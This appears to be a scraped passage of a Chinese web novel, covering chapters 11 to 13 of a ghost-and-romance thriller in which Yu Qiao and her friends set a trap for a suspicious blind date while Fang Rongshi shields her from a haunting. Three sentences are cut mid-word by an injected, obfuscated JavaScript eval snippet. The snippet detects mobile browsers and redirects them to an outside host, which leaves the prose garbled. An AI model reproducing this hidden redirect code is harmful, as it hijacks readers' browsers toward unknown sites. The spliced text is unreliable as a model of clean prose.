“但是……”岑骅想说的话在嘴里滚了一圈,稍微润色了一下才出口,“你不觉得他……他有点,伪人感吗?” “什么?”郁峤一愣,但很快就反应过来岑骅在说什么了,“你的意思是……” “就是,”岑骅四下看了一圈确定没人后才弯腰稍微凑郁峤近了一些,“你有没有觉得方容时他有点不像正常人类?你看,他长得就很不正常啊,长得也太标准了,像是让人捏出来的。” 这是什么鬼理由,郁峤默默将凑过去的脑袋移开,抿了抿嘴。 “还有,他的脾气性格以及跟其他人的相处方式,”岑骅看着郁峤,一脸严肃,“他好像跟谁都能好好相处,对谁都能好脾气,永远波澜不惊,能让所有人都感觉到舒服与信任。” 她刚刚认识方容时的时候就觉得这个男性温柔可靠,与其相处又轻松又舒服,方容时也确实照顾她,郁峤将这一切都归结于方容时人好,因为方容时对其他新人也很照顾。 郁峤很容易被这种人吸引,两人又有相同的兴趣爱好,走到一起也太自然不过了。 但郁峤也早就发现了方容时的各种违和感,这也是她还不确定自己跟方容时关系的原因——方容时作为一个普通人来说简直太完美了,就像刚刚岑骅说的那样,性格外貌家庭都是最理想的状态,简直就像捏造的人生一样。 这么优秀的人,喜欢自己,哪怕对方是同-性,郁峤觉得自己也会喜欢上对方。 就像“只赚不亏”的骗局那样,只不过电信诈骗暂时没办法让郁峤上钩,但名叫方容时的“诈骗”却让郁峤感到无比心动。 “他好像对你就有点脾气吧……”郁峤忍不住吐槽,虽然她还蛮赞同岑骅的话,但她觉得严肃的表情在他脸上特别违和,看起来显得事情格外严重。 “诶呀,那不一样,我跟他多少年交情了。”岑骅拍了拍胸脯,“但我得跟你讲,方容时那小子可不像你看见的那样简单,这小子可鬼了,好多小秘密呢。” “小秘密?比如小时候掀过小女生的裙子?”郁峤说完自己也觉得有点过分,“你是想让我离他远一点吗?” “那倒也没有,只是让你多留个心眼,容时他绝对不是什么坏人啦。”岑骅嘿嘿一笑,“你要真跟他谈恋爱了我们四舍五入就是一家人了。” “那你跟我说这些干嘛?”郁峤实在好奇,决定追问,“难不成他有什么问题?会影响我们的未来?” “嗯,这个我也不太好说,这种事情还是你自己亲自去问吧。”岑骅握紧拳头甩了几下,似乎是在忍耐什么,“啊啊啊啊,我真的好想说,但是说出来会倒霉好几年的啊啊啊啊啊……” 面对岑骅的突发恶疾,郁峤默默往旁边挪了几步,体会到了方容时当时看见他的心情。 这时手机传来了震动,郁峤举起一看,是方容时跟方叔聊完了,问她准备什么时候回去,再一看时间,已经是下午三点四十了。 “我要准备回去了,回去路程得要两小时呢。”郁峤估算了一下到家的时间,她还得在天完全黑下来之前到家呢。 “嗯嗯,那我们回去吧。”岑骅点点头,两人一起往道观的方向走回去,“我刚刚跟你说的那些可别告诉容时啊,他会画圈圈诅咒我的。” “好好好。”郁峤满嘴答应。 “其实你的那事也不用太担心,容时在你身边,那东西不能把你怎么样的。”岑骅笑嘻嘻的,为自己又漏了点底而感到舒适。 “为什么?”郁峤不解,但岑骅却死活都不说了,因为两人已经到道观门口了,方容时正站在那里等着两人过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114202|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “给。”方容时将郁峤的小包递给她,自己手里还提着一个红色塑料袋装着的盒子。 “这是什么?”郁峤好奇的问,往袋子那里多看了几眼。 “绿豆汤,知道你喜欢喝,就让爷爷装了些带回去喝。”方容时笑着举起手臂,让郁峤看清楚红袋子里的保温饭盒。 “谢谢爷爷。”郁峤顺口就换了称呼,只见方道长表情极为不自然的咳嗽了几声。 “也谢谢你。”郁峤又转向方容时道了谢,声音特地放轻了一点,很明显的区别对待。 “不用谢。”方容时笑着的时候每一丝肌肉都十分懂事的运动起来,将五官摆成最好看的样子。 方容时身上好像有什么东西,说不出来,但肯定不坏,反正只要靠近他就会觉得安心。郁峤总是这么觉得。 到住处时,方容时将郁峤送到了门口才罢休,离开前将一枚黄-色的三角形叠纸塞到了门饰的缝隙里固定好。 “有这个东西后应该就不会有东西大半夜骚扰你了,希望能让你晚上睡得安稳一些。”方容时站在门口,看着郁峤。 “借你吉言。”郁峤靠着门框看着他,门内的灯光给两人都打上了一层光晕,气氛有些暧昧。 “晚安。” “明天见。” 郁峤目送方容时的身影消失在楼梯转角后,回头关上了门。 今天外出出了不少的汗,郁峤打算好好洗个澡。 也不知道是不是因为符咒的缘故,今天郁峤没有了那种害怕窗外有人的恐惧感,虽然还是不放心的看了好几次窗户,但没再看见那个差点把她吓死的半个脑袋。 洗完澡出来,郁峤的手机显示了一条新消息,是不认识的人。 “小峤呀,上次给你推荐的你是不是不喜欢呀,这次姑姑又给你找了一个,这个你再看看,我让他去加你了,记得同意一下啊。”姑姑发来了一条语音。 郁峤一边擦头一边语音转文字,然后通过了那人的好友申请。 “你好,我叫陶遂,是被人介绍来的。”头像跟昵称都没有什么特别让人反感的地方,看朋友圈也像是个特别正常的同龄人。 “你好,郁峤。”郁峤简短回复。 “很高兴认识你。”对面似乎准备周全,“山川乔木的峤,真是好名字。” “谢谢,你的名字也不错。” “介意我找些话题聊聊吗?我觉得我们应该多些了解一些对方,这样才能决定是否还需要继续发展。” “好啊。”还挺有礼貌,还以为会是爹味很足的那种呢,郁峤的好奇心瞬间就上来了,决定认真对待。 “我今年二十五岁,应该跟你差不多,目前在A市工作,是一名电气工程师,工作平常会比较忙,但休假时会尽可能地陪伴爱人。在A市已经买房,车子正在考虑中。平常喜欢做菜跟摄影。朋友不算太多,所以不会频繁与朋友出门聚餐。不吸烟不喝酒,无任何不良嗜好。” 很认真公式的自我介绍,但每一条都还蛮加分的。郁峤逐句分析,点了点头,感叹这才是有针对性的诈骗啊。 11. 第11章杀猪盘 虽然睡着前屋外依然能听见一些窸窸窣窣的声音,但已经没有之前的那种特别大的动静了,当天夜里郁峤睡了个好觉,第二天起床的时候也觉得精神好了不少。 郁峤摸了摸胸口吊着的三角护身符,感叹玄学真的是个很神奇的东西。 昨天加上的那个男生已经把自己放在了郁峤男朋友预备役的位置上,郁峤刚上公交车对面就发来的问候消息。 “早上好呀,祝你今天工作顺利。” “谢谢,也祝你工作顺利。”郁峤客气回复,她打算跟对面的这位好好发展发展。 当天晚上郁峤就将姑姑给自己推了相亲对象的事情告诉了陶媛,陶媛表示这个很有可能就是被派来针对郁峤的“杀猪盘”,只不过要“杀”的不是钱财而是郁峤这个人。 “没关系,我先配合着,看看他要干什么。”郁峤打算先跟这位陶遂先生保持联系,看看他的下一步动作。这种有危险的事情郁峤提前跟路清和方容时都报备了一遍,确保第一时间就有人能得知自己的情况以采取措施。 接下来的几天郁峤都感觉状态良好,似乎那个一直骚扰着她的东西真的离开她的生活了,但每次洗澡前需要摘下的护身符还有手机里那个孜孜不倦地找她聊天的陶遂却一直在提醒她,有件事等待着她去办。 郁峤没谈过恋爱,也没有这么有目的性地去接触过一个男性,于是她跟陶遂的对话基本上是跟路清和陶媛一起完成的,在三人的努力塑造下,郁峤在陶遂那边的形象大概是一个性格可爱没什么主见对恋爱充满向往的无害小女孩,是一只特别好骗的“猪”。 方容时很想参与这项计划,但委实不知道该如何帮忙,只好在群里默默旁观。 岑骅很期待参与这项活动,但因为画风太过狂放被永久禁言。 很快,陶遂那边就开始试探着问郁峤能不能线下见面了。 “最近我们这里的商场举行了一场大型活动,不知道你有没有刷到?我正好去看了,拍了一些照片,想给你看看。” “哇,好漂亮,在现场肯定更壮观吧!?”郁峤面无表情的看着商场里黑压压人挤人头上顶着球挤球的照片,心想果然还是远离人群比较安全,这要是不小心出点什么事故……郁峤在心里敲了几下木鱼。 “听说过段时间你那边的商场也会举行大型活动,我打算去看看,从我这里到你那里也没多远的距离。”陶遂的燕国地图有点短,“或许,我们有机会见上一面?” 郁峤截屏发到群里,“该如何回答?” “不要那么快答应他,我们要拉扯一下,表现出害羞来。”路清建议,“人设不能崩。” “在拉扯三个来回后再模棱两可地答应对方,期间要表现出线下与男性见面的害怕感,加固人设。”陶媛教学,“然后他会劝你安慰你,你再坚定地答应下来,与他确定好时间地点,同时也不要忘了向他透露你为了见他牺牲了什么,比如说原本的休息时间……” “等等,我们明明是准备‘被钓’的,被你这么一搞怎么像我们钓人家了?”路清忍不住问,“话说你怎么那么清楚这些套路啊?” “一样的一样的,他在骗取我们的信任,我们也在骗取他的信任。”陶媛言之凿凿,“至于我为什么那么清楚……其实是因为那个陶遂就是我的一个表哥,他最近在朋友圈有问怎么追女生,我一看头像发现那就是郁峤,于是我就这么成功打入了敌人内部。” 这世界还真小啊,众人感叹。 “受教了,我这就去回他。”郁峤抱拳离开。 “真没想到有生之年给闺蜜做军事却是因为这种事情。”路清忍不住感叹。 “嘿嘿,我也是。”陶媛举手。 “我也是第一次参与这种事情。”岑骅举手,“好刺-激啊。” 方容时没有发表感想, “有人吃醋了。” 路清撤回了一条消息。 所有人都默契地没有再发消息。 根据陶媛提供的线索再通过大家的合理推测,那些外地“疯女人”大多数就是被一步一步骗进村子里的,因为那些女人大多数都是村子里谁的“女朋友”跟谁的“妻子”。 所以这个陶遂极有可能就是被派出来引诱郁峤的,现在表现的那些不过是漂亮的鱼饵罢了……钓鱼的技巧还是跟陶媛学的。 这下原本就对爱情婚姻不感兴趣的陶媛这下彻底恐婚恐育了。 根据路陶两人传授的知识,一顿拉扯下郁峤总算答应了陶遂的见面邀请,身心俱疲。 几天后双方在线下见了面。 某大型商场,郁峤提前去确认了,确实有一场与游戏相关的快闪活动,不过郁峤没有听说过这个游戏。 为了这次“约会”郁峤在路清的帮助下好好打扮了一番,并在出发前好好巩固了人设,郁峤在前线奋战的同时,路清他们也会在后方默默地用眼神支持她的。 郁峤看了一眼手机上的位置共享,显示路清跟方容时就在隔壁不远处的奶茶店里坐着。 “你也觉得这个游戏不错吧!”整个活动里郁峤都努力表现出对游戏的兴趣,两人从游戏活动里出来,陶遂打开手机看了一眼时间,“我们去吃火锅吧?” “听你的就好了。”郁峤埋下头腼腆一笑。 “我来之前做了攻略,这家商场有一家火锅店还不错,饭点人会特别多,不过我提前预定了,我们现在直接过去就好了。”陶遂得意地将线上排单的界面展示给郁峤看。 “你好厉害,出门前居然还做攻略诶。”郁峤干巴巴地夸赞道,然后在陶遂沾沾自喜时将脸转到一边,叹了口气,感觉这短短两个小时比上班还累。 在两人搭乘手扶电梯上楼时,郁峤正好瞥见了下方也正跟着她上楼的路清和方容时。 不知道为什么,郁峤觉得今天的方容时穿得别有用心。路清给自己搭配的是一套亮橙色的短袖衬衫跟牛仔短伞裙,俏皮又有活力,而平常喜欢淡色衣服的方容时今天却也换上了一件橙色的衬衫上衣。 心机。路清这样在私信里向郁峤评价方容时。 或许是注意到了目光,方容时侧头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115910|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向这边,在快到楼层时,两人目光短暂交汇。 陶遂说的不错,这家店的门口确实排了很长的队伍,不止这一家,其他家也是这样,估计是因为今天商场有活动的缘故,要不是他提前预约,两个人可能就得饿着肚子排队了。 服务员将两人领到餐桌前,陶遂很绅士地给郁峤拉椅子,然后将菜单递给了郁峤,做完这一切后才坐下,坐下后也不闲着,立马就开始用开水帮郁峤冲烫碗筷,俨然一副居家好男人的形象。 这家伙该不会还是专门培训过的吧?郁峤只觉得有点毛骨悚然,扭头看向外面,原本透过玻璃窗应该可以看见外面的过道,但现在只能看见坐在外面排队的人的后脑勺。 还是两个熟悉的后脑勺。 路清跟方容时两个人混进了排队吃饭的队伍里,还正巧坐在了郁峤跟陶遂的位置外面。 “放心吧,我们在这里。”路清没有回头,而是默默地朝身后比划了个大拇指,然后肩膀就开始颤-抖不已,这让原本就没啥胃口的郁峤彻底饱腹了。 你们两个在这里还要我怎么吃啊!郁峤暗自握拳捶了捶自己的大-腿。 “怎么了?腿走累了吗?”陶遂见状立马表示关心。 “是有点。”郁峤深谙路陶教授的技巧,在自己娇弱小女生的人设上添砖加瓦,“穿高跟鞋走路就是会有些累。” 余光里郁峤好像看见了路清正拿着手机假装自拍,实则是在利用镜头看她的情况,肩膀还在抖,并且幅度还越来越大。 “算我求你,快滚吧。”郁峤单独给路清发了私信。 “你就当我不存在就好了。”路清放下了手机,用饭店发的宣传单捂住了脸。 这顿饭郁峤吃得很煎熬,前有可能要诱拐自己的相亲对象,后有自己的好朋友与暧昧对象,真是如坐针毡如芒刺背。 陶遂在餐桌上一直都在努力挑起话题,郁峤也都努力配合,在外人看来两人就像一对正在暧昧期即将成为情侣的小年轻。 其实陶遂这样男生要是真的出现在自己的相亲桌前,郁峤肯定会给他打很高的分数,但奈何做贼啊。 饭进一半,陶遂的话题已经从兴趣爱好讲到自己的家乡风俗了。 “我们村子在山里,但交通却很便利。保留了不少上个世纪的老房子,因为还没有开发成旅游区所以去我们那边的游客还很少,但是我们那边的风景真的很好看。”陶遂滔滔不绝地介绍着自己的家乡,“我们那里有很多溶洞,不知道你有没有见过?还有清澈见底的小溪,拍照特别出片。我们那边的食物也很好吃,不知道你有没有吃过腌笋炒腊鹌鹑?我们的竹笋跟外面买的味道可不一样哦……” 不管对面说什么,郁峤都尽力表现出一副“哇哦,真的吗,好好奇,好想去”的表情。 “你要是也想去的话,要不这个月月底,也就是端午节,我带你一起回去玩一趟吧!”见郁峤这么感兴趣,陶遂立马发来了邀请。 “真的吗!”郁峤眨了眨今天贴了假睫毛的大眼睛,满眼的小星星,“当然可以啊!” 12. 第12章方容时 那次约会过后陶遂几乎默认了他与郁峤的关系,俨然将自己当作了郁峤的男朋友,甚至开始催促郁峤快些将自己介绍给家人朋友认识,还多次表示自己对婚姻的渴-望。 郁峤这边看来,这位陶遂同志的心思已经昭然若揭,大家已经开始制定接下来的计划了。 接下来的这段时间里陶遂用尽手段,以郁峤男朋友的身份在郁峤的朋友面前刷了一遍脸,竭尽全力表示两人已经在一起了。路清他们也都很配合,对陶遂表示了“认可”。 陶遂认为自己已经胜券在握了,陶媛回来传递情报。 快临近端午节的时候,郁峤主动询问陶遂是否需要购买回乡车票,但陶遂的计划却是开车自驾回去,表示这样在路上两人会有更多的独处时间。 这点时间倒也是大可不必。郁峤无奈一笑,扭头就去群里报备了,几人一合计打算开个线下会议,于是除了不在本地的陶媛,其他人找了一家餐馆聚了一顿。 “从这里到老家开车起码八个小时起步,这八个小时里他能干多少事情我都不敢想。”路清立马表示细思恐极。 “行车路上应该干不了什么……”方容时思索片刻,“路上就你们两个人吗?会不会还有其他人?” “他说只有我们两个人,但是谁知道当天会不会加上谁?”郁峤最近看了不少拐卖妇女儿童的案件与手法,越看越觉得胆战心惊。 “这样吧,那天我开车跟在你们后面一起去,你每隔一个小时就在群里发猫咪表情包代表暂时安全。”方容时提议,“要是有不对劲的地方就发小狗,如果到点超出了十分钟还没有发消息我就会直接联系并去找你,半个小时后还联系不上我就报警。” “好主意。”路清表示赞同,“我也要跟着!我们可以伪装成一起自驾游的好朋友,正巧跟你们顺路而已。” “我也要去!”岑骅举手,“我本来就是要跟你一起的,我东西都准备好了!就等着大展身手呢。” “那我呢?”放在一旁的手机里传来陶媛的声音,“我觉得我也可以参与进来,在这个里面就我对我家最熟了,带上我会方便很多。” 于是在场的各位都领到了任务,吃饱喝足后便各自回家了,毕竟明天还得上班。 作为一群人里唯一买了车的人,方容时承担了将大家送回家的重任,等岑骅下车后,车里就只剩下了郁峤跟方容时两人了。 郁峤从后座换到了副驾,刚才还热闹着的车内瞬间变得安静下来,车载音响里放着《DeepBlue》,音乐舒缓悦耳。 “哎呀,感觉还挺不好意思的。”郁峤看着前面的红灯倒计时,呼出一口气,“为了我的事情劳累你们这么多人。” “不要这么想,大家都很高兴可以帮到你。”方容时短暂的撇过头看了一眼郁峤,安慰道,“我也很高兴你愿意来找我帮忙,从来不觉得麻烦。” “谢谢。”郁峤哼唧两声,用手支着头,一会儿看看前面一会儿看看方容时,手下意识地抚摸着胸口还吊着的护身符, “虽然大话已经放出去了,但还是想问一下……”郁峤越摸越没底,现在才迟钝的感觉到害怕,“那个什么东西会不会很难对付啊?”自从知道了献祭的事情后她也看了不少相关题材的电影与视频,透过屏幕她都觉得可怕的事情,等到时候亲自上阵,郁峤有点担心。 “没事的,我在你身边的,不会让你一个人对付那个东西。”方容时目视前方,但却不会让郁峤觉得他态度敷衍,“而且别看岑骅长得不靠谱,实际上他对付这种事情还是很有一手的。” “嗯嗯。”听到这样的回答,郁峤心里踏实了不少。 虽然从山上看城区好像就在山脚下,但实际从相山回市区的这段路挺长的,一路上全是树木与灌木丛,没什么建筑与车辆,除了马路中间有路灯照明,两边都被黑夜笼罩,什么也看不清楚,看得人心慌。 郁峤看着外面的路灯一盏一盏地向后倒去,人行道上一个行人也没有。 也是,这个点又这么偏,谁会在外面瞎逛啊? 就在郁峤这么想着的时候,人行道上一个白色的身影吸引到了郁峤的注意,可等郁峤扭头想看清楚时,那个身影又不见了。 我眼花了?郁峤揉了揉眼睛,以为自己看错了。 “你刚刚看见了吗?”郁峤扭头问方容时。 “看见了。”方容时不假思索,“不用担心,没有危险,他们一般情况下不会对普通路人下手。” “原来如此。”郁峤点点头,又觉得不对,“我记得我之前好像出来不会遇见这种事情诶,为什么最近总是能看见啊?” 包括上次在医院看见的,郁峤最近时不时就能在生活里看见不少之前看不见的东西,比如出没在巷子里的流浪汉,在公园里还会遇见狗狗鬼魂…… “可能是因为前段时间被鬼怪缠身身上沾染了一些鬼气的缘故。”方容时很快就给出了答案,“一般人一般情况下是看不见这些东西的,既然看不见那么也就不会被鬼怪吓到,所以鬼怪要是想吓某人就只能先让对方能看见自己,所以一般被鬼怪缠上一段时间的人都会暂时获得阴阳眼的能力。” “原来如此。”郁峤点点头,又问,“你居然对这些也很懂诶?你又是为什么可以看见呢?” 方容时顿住了,郁峤看见他的握着方向盘的手不自觉地用力,食指在方向盘上敲着,似乎是在思考说法。 “……方容时那小子可不像你看见的那样简单,这小子可鬼了……”岑骅的声音突然在耳边响起,昏暗的车内,郁峤默默注视着方容时的侧脸,不知道该把方容时往哪个方面想。 虽然认识了这么久,但实际上两个人对对方也并不算了解。不清楚对方的具体家庭情况,不清楚对方的成长经历,也不清楚对方在日常相处的表象下到底是个怎么样的人。 “可能因为我小时候在道观里生活过吧。”半晌,方容时才回答,但看他的表情,他自己也对这个回答不是很满意。 “原来是这样,真羡慕,我小时候看林正英的电影时也想过上山学道来着,只可惜一直也没那个机会。”郁峤也不打算现在就太过追究,于是打算跳过这个话题。 “你也喜欢看林正英?我也喜欢,小时候又喜欢又害怕,你最喜欢哪一部?”方容时抓取话中关键字,将话题引到了另一个方向。 在聊天中时间总是过得很快,转眼郁峤就到住所,方容时下车将郁峤送到楼下才离开。 看着郁峤的背影,方容时沉默了片刻才迈步离开。 在执行计划前,生活也还在按部就班进行中,每天上班下班,最近为了放假的事情大家都在努力处理着手上的事务,只为了到时候可以安安稳稳放个假,持续的工作会让人变得麻木与迟钝,郁峤在这几天一直在加班。 但好在不止她一个人加班,跟着一起加班的还有方容时跟其他几位同事。 又是加班的一天,当郁峤抬起头来时发现办公室里已经不剩几个人了,大多数灯已经熄灭,宽大的办公区域只有几盏灯还亮着,昏昏暗暗,安静的空间里只能听见手指敲击键盘的声音,看着就怨气很大的样子。 转头看去,方容时的电脑还亮着,桌面一堆红红蓝蓝绿绿的文件被分好了类,工位椅子上还挂着中午午休用的颈枕,但人却不在工位上。 郁峤掏出手机给方容时发消息问他是否完成工作,却发现方容时的手机放在工位上。 “你们知道方容时去哪里了吗?”郁峤起身问坐在门口的那两位同事。 “他好像去十七楼送什么东西,去了有一会儿了。”同事从工位后探出头,“你们准备走了吗?” “事呀,还有一些明天再说了。”郁峤起身伸了个腰,“我去找找他。” 外面走廊的灯也关了一半,只有几盏孤零零的小灯照明,处于昏暗但又能看清东西的边缘,透过另一边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119277|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗户可以看见外面已经安静下来的街道与马路。 看来是真的很晚了,郁峤不免加快了脚步,快步走到电梯门口按下往上的按键, 电梯从一楼往上,郁峤一边刷手机一边等电梯。 “叮。”电梯很快就到达了郁峤所在的楼层,电梯门打开,郁峤发现里面还站着一个同样还没有离开的同事。 今天加班的人这么多嘛?郁峤心里嘀咕了一句,走进电梯,按下自己要去的层数。 不知道是不是空调开得太足了还是夜里温度低,郁峤突然觉得有一些冷,暴露在衣服外面的皮肤不知何时起了一堆鸡皮疙瘩。 不知道是谁下班前点了楼层,电梯每上一层就会停一下,开门,然后关上。 郁峤刚开始以为是同乘电梯的人要下电梯,结果一连好几层也没下,自己又实在想找到方容时赶紧下班,不免有些不耐烦起来,但身边的人似乎并没有被影响到心情。 话说这位是哪个部门的啊?郁峤忍不住通过几乎可以当镜子用的电梯壁打量起身后站着的人,那人没有面对电梯门,黑色的半长头发散着,刚好遮住了半张脸,身材高大修长,从头到脚都是黑色的,电梯壁到底不是镜子,郁峤看不清那人具体穿着什么,只是从那人的手可以判断出这个人肤色应该很白。 不知怎的,郁峤越看越觉得不对劲,一股不安感像蜈蚣一样窸窸窣窣地爬上心头,这种感觉郁峤太熟悉了,很快就想到一种可能。 郁峤觉得身体一僵,下意识就想跑,但在密闭的电梯里没有地方可跑。 刚才还到一层开一层的电梯此时却不再停歇了,而是不停的往高层上升。 看着不断变化的楼层数字,郁峤又害怕又焦急,几乎都快要抖脚了。 为什么从五楼到十四楼会这么慢啊! 她轻轻举起手摸了摸胸-前垂下的头发,实际上是在确认自己胸-前是否真的还吊着那枚护身符,摸到那熟悉的三角形后郁峤轻轻松了一口气。 但很快就又想到,方叔那天说的话“这个只是暂时的……具体要看现实情况,万一那玩意硬是要你的命这个东西也挡不住多久”,郁峤刚放下些许的心又悬了起来。 “其实你的那事也不用太担心,容时在你身边,那东西不能把你怎么样的。”岑骅的声音又响起,郁峤眼前一亮,虽然不知道岑骅为什么这么说,但或许方容时真的可以保护自己! “叮。”这次电梯的声音格外的悦耳,郁峤几乎是像箭一样冲了出去,连头也不敢回,但拐弯的时候还是用余光看见了发光的电梯口有一个黑色的身影走了出来,吓得郁峤差点脚底打滑。 这还没有到十四楼,而是十三楼,郁峤需要通过逃生通道的楼梯上十四楼。 作为一个安全意识还算不错的打工人,郁峤在入职的时候就牢记了各个楼层的逃生通道了。 走廊昏暗,楼梯间更是不见五指。 虽然看不清,但凭借着二十多年上楼梯的经验,郁峤一步跨两个台阶愣是没有摔跤,心跳也跟着狂飙,几乎是要破胸而出了,身后被人追的紧迫感像一把镰刀,如果她跑得不够快就会被割断脚腕。 “方容时!”一把推开逃生通道的门,到达十四楼,郁峤没敢停下脚步,一边跑一边冲着同样昏暗的走廊大声喊出了方容时的名字。 没有人回应,郁峤快速扫视着办公室里是否有人,没注意前面,突然跟一个人扑了个满怀,被对方稳稳接住。 郁峤下意识就要挣脱,那人突然叫出了郁峤的名字。 “郁峤。”是方容时的声音,“怎么了?” 郁峤满身是汗,惊魂未定,看见方容时那张熟悉的脸后愣了好一会儿,突然抱住了他。 方容时被郁峤的举动吓了一跳,也愣了一下,然后伸手拍了拍郁峤的后背,安抚道,“没事了,没事了。” 在郁峤看不见的地方,方容时眼神阴沉,望着前方漆黑的楼梯口。 13. 第13章出发 “刚刚是看见什么了吗?”方容时明知故问,看着追到楼梯门口的黑影慢慢消失了才将目光移到郁峤身上。 抱了好一会儿,郁峤终于从方容时温暖的怀抱里汲取到足够的安全感,气息逐渐平稳了下来,缓缓松开了方容时,这时才感觉到了一丝不好意思。 “在电梯里遇见了奇怪的人。”郁峤心有余悸地扭头看了一眼后面,发现没有异常后总算松了一口气,“好像已经不在了。” “你上来干什么?”郁峤回头问方容时。 “上来找个资料。”方容时举起手展示他刚才找到的资料,“正好准备下去,你就上来了。” “我来找你一起回家。”郁峤悻悻地抓着方容时的衬衫衣袖,两人朝电梯门走去,“已经很晚了,公交车都下班了。” “没事,我送你回去。”方容时微笑,尽力安抚着。这段时间但凡加班晚点都是方容时开车送她回去的。 “明天我绝对不会再加班到这么晚了。”郁峤现在看着电梯门都有点犯怵,但也不想从十四楼走下去。 “好,我们明天早点下班。”方容时点点头。 电梯门打开,柔和的灯光照亮了门前的那一片地方,电梯里面空无一人。 两人走进去,电梯门关闭,电梯门合上,电梯门打开。 一切顺利,安安稳稳地到了他们办公室所在的楼层。 “话说,我们公司里的一些鬼故事都是真的吗?”郁峤突然问,比如厕所最后一间的鬼啊,还有大半夜档案室里的鬼……虽然本公司才十几年的历史但因为人多,所以也流传着不少鬼故事。 “你觉得呢?”方容时想了一下,反问。 “反正我是不敢上最后一间。”郁峤撇撇嘴,回到原来的楼层后总算松了一口气,手脚麻利地整理好东西打卡下楼回家了。 距离与陶遂约好的时间越来越近了,大家都不免紧张起来,确定了好几次计划细节,制定了好几个备用方案。 “万事俱备,不用紧张,我们这么多人呢。”路清挥了挥胳膊,“你就当作是出去旅游,表现的自然一些。来,看看我给你准备的东西!充电宝,强光带电击的手电筒……定位器,这个你贴身带着。”路清将一个手表形状的东西戴在郁峤的手腕上。 不知道路清从哪里淘来了一堆野外用品,哗啦啦地撒满了整张床,琳琅满目,不知道的还以为郁峤是要去荒野求生。 “有什么紧急事情及时联系就好,或者就按这里。”路清按下手表上的一个红色按键,瞬间穿透力极强的刺耳的噪音就刺入了在场众人的耳膜,路清手忙脚乱地将其关掉,“又能引起路人注意还能向我们传递位置信息,另外这个按钮是可以直接报警的,不过我不太敢测试这个。” “我也准备了一个。”郁峤神秘一笑,从一旁的柜子里掏出一张小卡片。 “这个是……身份证?”路清接过一看。 “我担心他到时候要收我身份证,就去挂失补办了一张。”郁峤回答。 “够周到。” “还有我的!”岑骅也毫不示弱,打开双肩包,里面是一堆驱魔施法的法器,也是让人大开眼界,他背上还背着一把长条状的被包裹的物体,“虽然师父说只需要带几样就行了,但是,万一呢?” “其实就是因为你自己想玩这些东西吧?”郁峤跟方容时同时想,区别是方容时没出声,但郁峤直接说出来了。 “怎么会!”岑骅拔高音量,然后点头肯定,“确实是。” 众人无语。 “好,既然都准备齐全了,那么就祝我们一切顺利。”方容时最后才开口。 “你都这么说了,那么我们肯定会一切顺利的!”岑骅似乎对方容时有着异于常人的信任。 放假当天,陶遂开着他的私家车来郁峤的城市接她,陶媛提前定好了车票准备动车回去,路清一行人也假装同路车跟在陶遂车后,两辆车一前一后进了高速。 车里放着一首特别劲-爆的摇滚音乐,太过大声地音量让郁峤觉得有些难受,让陶遂调了好几次音量后才勉强悦耳了一点。 “你在给你的朋友发消息吗?”陶遂问,他注意到郁峤很频繁地在手机上打字,“可以跟你朋友发些照片,其实开车最让人着迷的就是沿路看见的各种风光。” “我也是这么觉得的。”郁峤表示赞同,她现在就是陶遂说什么她都点头,一副很没主见想法的样子。 实际上她戴着耳机在跟路清他们通话,因为大家一致觉得每隔一段时间就发消息实在是太麻烦了,平常直接保存通话就好。 “是吧,我之前开车去过很多地方,看过不少好看的景色呢!你有自驾旅游过吗?哦,你没车。等我有时间了就打算开车进藏,那一路上肯定会遇见更多有意思的事情……”陶遂开始滔滔不绝起来,从自己怎么从大学毕业找到工作再到买车,又说到自己之前旅游有漂亮姑娘来找自己要联系方式但自己都拒绝了,再到自己的工作是多么的有意义,同事是多么没用全靠自己苦苦支撑……再到让郁峤多多打扮,多穿裙子。 郁峤有一搭没一搭地听着,在适当的地方夸几句彩虹屁或者表示赞同,觉得无聊透顶。 之前两人在网络上聊天时陶遂不会跟她聊这些,他彬彬有礼善解人意,说话会注意措辞,虽然看得出刻意但不会让人觉得不适。 但那时候跟自己聊天的其实是背后的陶媛吧,郁峤觉得好笑。 “哦,那股味隔着网络我都闻到了。”路清的声音从耳机里飘了出来。 赞同。郁峤虽也想抒发感想但是无奈场地不允许。 似乎是已经胜券在握,陶遂不自觉地在郁峤面前暴露出了他的本性。 窗外的景色快速向后退去,隔壁车道的车更是一闪而过,远处的风景逐渐变得人烟稀少,最后完全被两边的坡度遮挡,逐渐变得无趣。 